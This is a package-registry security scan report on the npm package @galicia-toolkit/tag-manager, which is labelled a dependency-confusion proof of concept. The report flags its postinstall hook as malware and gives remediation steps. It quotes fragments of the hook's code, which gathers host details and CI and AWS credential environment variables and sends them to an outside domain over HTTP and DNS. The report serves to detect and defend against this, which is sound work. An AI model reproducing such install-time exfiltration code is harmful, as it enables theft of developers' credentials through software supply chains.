registry / Credential exfiltration / @galicia-toolkit/tag-manager

@galicia-toolkit/tag-manager

Security research — dependency confusion PoC (authorized bug bounty, Banco Galicia program)

This report shows the evidence for @galicia-toolkit/tag-manager@999.0.6. 3 of 3 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 14d ago · by lpm-firewall-ai

The postinstall hook performs active, automatic credential and host data exfiltration to a package-unrelated fixed endpoint over HTTP and DNS. This is concrete malicious install-time behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Package installation invokes the postinstall lifecycle script.

Impact

Installation can disclose host identity, CI metadata, and available cloud or service credentials to an external endpoint.

Mechanism

The script serializes host details and selected environment values, posts them to oob.s4yhii.com, and encodes host and username data into DNS queries to that domain.

Attack narrative

On installation, the postinstall hook gathers system details and selected environment values, including cloud and CI credentials. It sends the resulting data in an HTTP POST to a fixed external host and encodes host and username information into DNS queries. The hook suppresses errors, so failed delivery does not interrupt installation.

AI rationale

The postinstall hook performs active, automatic credential and host data exfiltration to a package-unrelated fixed endpoint over HTTP and DNS. This is concrete malicious install-time behavior.

Evidence

package.jsonpostinstall.js

Network endpoints4

oob.s4yhii.com:9999*.h.dc.oob.s4yhii.com*.u.dc.oob.s4yhii.com*.m.dc.oob.s4yhii.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The automatic postinstall hook runs the data-collection script and suppresses its errors.
The hook collects CI and cloud credential environment variables.
It posts serialized host and environment data to a fixed external host.
It sends host and username data in DNS query names.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 2 file(s), 2.70 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js || true" } }

High

Suspicious Lifecycle Evidence

The automatic postinstall hook runs the data-collection script and suppresses its errors.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: L4: const info = { L5: pkg: require("./package.json").name, L6: hostname: os.hostname(), L7: platform: os.platform(), ... L18: L19: try { info.username = os.userInfo().username; } catch(e) { info.username = process.env.USER || process.env.USERNAME || "unknown"; } L20: try { info.homedir = os.homedir(); } catch(e) {} ... L61: req.on("error", function(){}); L62: req.write(body);

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

postinstall.jsView on unpkg · L1

•Trigger-reachable chain: scripts.postinstall -> postinstall.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

32info.ci = {}; var ciKeys = ["CI","BUILD_NUMBER","BUILD_ID","JENKINS_URL","JENKINS_HOME", "GITHUB_ACTIONS","GITLAB_CI","SYSTEM_TEAMFOUNDATIONCOLLECTIONURI", "CODEBUILD_BUILD_ID","npm[redacted]","npm[redacted]", "NODE_ENV","HOME","COMPUTERNAME","USERDOMAIN","PATH", "AWS_ACCESS_KEY_ID","AWS_SECRET_ACCESS_KEY","AWS_SESSION_TO

High

Ai Review Evidence

The hook collects CI and cloud credential environment variables.

postinstall.jsView on unpkg · L32

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js || true" } }

High

Suspicious Lifecycle Evidence

The automatic postinstall hook runs the data-collection script and suppresses its errors.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

2 Critical4 High4 Medium2 Low

CriticalDns Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to @galicia-toolkit/tag-manager@999.0.6.

The versions list below shows the verdict for each recorded version.

Avoid installing @galicia-toolkit/tag-manager@999.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-12 06:00:06.217Z (UTC).

Source advisory published: 2026-10-08 15:19:15.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

999.0.6latestshownMaliciousCredential ExfiltrationBlockPublishedOct 8, 2026, 4:17 PM 999.0.5MaliciousData ExfiltrationBlockPublishedOct 8, 2026, 3:25 PM 999.0.3MaliciousData ExfiltrationBlockPublishedOct 8, 2026, 3:19 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @galicia-toolkit

Other credential exfiltration packages

Related packages

More from @galicia-toolkit

Other credential exfiltration packages

Source & flagged code